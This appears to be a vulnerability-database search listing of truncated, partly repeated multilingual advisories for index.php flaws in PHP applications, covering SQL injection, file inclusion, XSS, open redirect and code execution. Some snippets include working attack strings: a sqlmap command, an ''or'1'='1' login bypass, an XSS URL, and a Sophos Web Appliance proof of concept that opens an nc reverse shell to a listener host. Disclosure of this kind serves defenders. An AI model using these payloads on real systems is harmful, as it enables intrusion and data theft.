CVE-2026-6183-SQLI

index.php의 id 매개변수를 통한 SQL 인젝션 - PHP 기반 간단 콘텐츠 관리 시스템 설명 PHP 기반 간단 콘텐츠 관리 시스템Simple Content Management System PHP에 SQL 인젝션 취약점이 존재합니다. index.php의 id 매개변수가 SQL 쿼리에 전달되기 전에 검증되지 않아, 인증되지 않은 공격자가 데이터베이스 이름, 테이블, 자격 증명을 포함한 데이터베이스의 민감한 데이터를 추출할 수 있습니다. 취약점 세부 정보 유형: SQL 인젝션 CWE-89 영향: 정보 노출 / 데이터베이스 ...

CVE-2022-27414

CVE-2022-27414 - SQLインジェクション College Website CMS v1.0 - CVE-2022-27414 - SQLインジェクション CVE URL https://vulners.com/cve/CVE-2022-27414 以下がPoC 脆弱なコード "cwms\departments\index.php"の9行目以降から始まる query"SELECT FROM departmentlist where deleteflag = 0 and status = 1 order by name asc"; while $row =...

CVE-2021-39377

OPENSIS 8.0 SQL 인젝션 취약점 CVE-2021-39377 openSIS 8.0 버전에서 MySQL MariaDB을 애플리케이션 데이터베이스로 사용할 때 SQL 인젝션 취약점이 존재합니다. 악의적인 공격자는 취약한 username= 매개변수를 통해 MySQL MariaDB 데이터베이스에 SQL 명령을 실행할 수 있습니다. 취약한 PHP 페이지: index.php - username 매개변수 취약한 페이로드 sqlmap "http://localhost:8081/index.php" --users...

CVE-2021-39433

CVE-2021-39433 Существует уязвимость локального включения файлов LFI в версии BIQS IT Biqs-drive v1.83 и ниже при отправке определенного payload в качестве параметра file в download/index.php. Это позволяет злоумышленнику читать произвольные файлы на сервере с правами настроенного веб-пользовател...

CVE-2025-63589

CVE-2025-63589 CMSimpleXH index.php 경로 처리에서의 Reflected XSS 발견일: 2025년 10월 6일 제품: CMSimpleXH 오픈소스 플랫 파일 CMS 영향 받는 버전: 1.8 CVE: CVE-2025-63589 인증 필요: 없음 비인증 공격 유형: 반사형 크로스 사이트 스크립팅 XSS 예상 CVSS v3.1: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N → 6.1 Medium index.php의 프론트 컨트롤러는 동적 경로 세그먼트템플릿/페이지 라우팅에 사용됨를 수락...

GetSimple CMS 3.3.13 - Open Redirect

GetSimple CMS 3.3.13 contains an open redirect vulnerability via the admin/index.php redirect parameter. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations. id: CVE-2019-9915 info: name: GetSimple CMS...

EUVD-2026-89571

A security vulnerability has been detected in gedelumbung HospitalManagement up to c2d45543789a3887067d3915f69d44cfc2cf76a8. This issue affects the function errorreporting of the file index.php of the component HTTP Response. The manipulation leads to information disclosure. The attack may be...

CVE-2026-102845 gedelumbung HospitalManagement HTTP Response index.php error_reporting information disclosure

A security vulnerability has been detected in gedelumbung HospitalManagement up to c2d45543789a3887067d3915f69d44cfc2cf76a8. This issue affects the function errorreporting of the file index.php of the component HTTP Response. The manipulation leads to information disclosure. The attack may be...

CVE-2026-102845 gedelumbung HospitalManagement HTTP Response index.php error_reporting information disclosure

A security vulnerability has been detected in gedelumbung HospitalManagement up to c2d45543789a3887067d3915f69d44cfc2cf76a8. This issue affects the function errorreporting of the file index.php of the component HTTP Response. The manipulation leads to information disclosure. The attack may be...

CVE-2026-39117

An issue in AltumCode 66Uptime before v.54.0.0 and 66Uptime ping-servers plugin before v.2.0.0 allows a remote attacker to execute arbitrary code via the index.php...

CVE-2018-1263-Demo

익스플로잇 데모 이 가이드는 취약한 구성 요소를 설치하고 CVE-2018-1263에 언급된 phpMyAdmin 버그와 관련된 공격을 수행하는 데 도움을 줍니다. CVE 설명 취약점이 존재하는 이유 공격 작동 방식 취약한 구성 요소 설치 방법 공격 수행 방법 CVE 설명 이 익스플로잇은 phpMyAdmin 버전 4.8.x 4.8.2 미만에서 발견된 문제와 관련 있습니다. 이 문제를 악용하면 공격자가 서버에서 원격 코드 실행 및 로컬 파일 포함을 수행할 수 있습니다. 취약점은 phpMyAdmin 내에서 페이지를 리디렉션하고 로드하...

CVE-2026-39117

An issue in AltumCode 66Uptime before v.54.0.0 and 66Uptime ping-servers plugin before v.2.0.0 allows a remote attacker to execute arbitrary code via the index.php...

CVE-2026-39117

An issue in AltumCode 66Uptime before v.54.0.0 and 66Uptime ping-servers plugin before v.2.0.0 allows a remote attacker to execute arbitrary code via the index.php...

EUVD-2026-89416

An issue in AltumCode 66Uptime before v.54.0.0 and 66Uptime ping-servers plugin before v.2.0.0 allows a remote attacker to execute arbitrary code via the index.php...

CVE-2026-39117

A vulnerability exists in AltumCode 66Uptime (prior to v.54.0.0 ) and the 66Uptime ping-servers plugin (prior to v.2.0.0 ). A remote attacker can exploit an issue in the index.php file to achieve arbitrary code execution . Exploitation details are not provided in the documents. Remediation inform...

CVE-2024-35468

CVE-2024-35468 제출자: Kha Do Human Resource Management System 1.0 취약점 SQL 인젝션 설명 SourceCodester Human Resource Management System 1.0의 /hrm/index.php에 존재하는 SQL 인젝션 취약점으로, 공격자가 password 매개변수를 통해 임의의 SQL 명령을 실행할 수 있습니다. 영향받는 구성 요소 /hrm/index.php 영향 공격자는 페이로드 'or'1'='1을 사용하여 자격 증명 없이 관리자 계정으로 로그인할 수...

CVE-2021-39408

CVE-2021-39408 Online Student Rate System アプリケーションの複数のバージョン 1.0 には、リフレクト型クロスサイトスクリプティング（XSS）の脆弱性が存在し、JavaScript コマンドの任意実行が可能になります。 脆弱性のあるページ index.php の page パラメータに脆弱性があり、攻撃者は script タグ内に任意の JavaScript を含めることができます： http://localhost/index.php?page=alert'test'; Stefan Dorresteijn により発見（2021年8月）...

CVE-2025-34030-PoC

CVE-2025-34030 - sar2html 'plot' 매개변수 RCE CVSS: 10.0 치명적 취약점: OS 명령어 주입 프로그래밍 언어: PHP 익스플로잇 코드: Python 참고 자료: https://nvd.nist.gov/vuln/detail/CVE-2025-34030 https://www.vulncheck.com/advisories/sar2html-command-injection 설명 sar2html 버전 . 취약점의 출력은 실행 후 애플리케이션 인터페이스에 표시되며, "select host"에 명령어 출력이...

CVE-2023-1671

CVE-2023-1671 Sophos Web Appliance의 사전 인증 RCE PoC curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64" snip = Send header, 184...

CVE-2021-40353

CVE-2021-40353 CVE-2021-40353 Уязвимость SQL-инъекции в openSIS 8.0 https://vulners.com/cve/CVE-2021-40353 Уязвимость SQL-инъекции существует в версии 8.0 openSIS при использовании MySQL или MariaDB в качестве базы данных приложения. Злоумышленник может выполнить SQL-команду через параметр...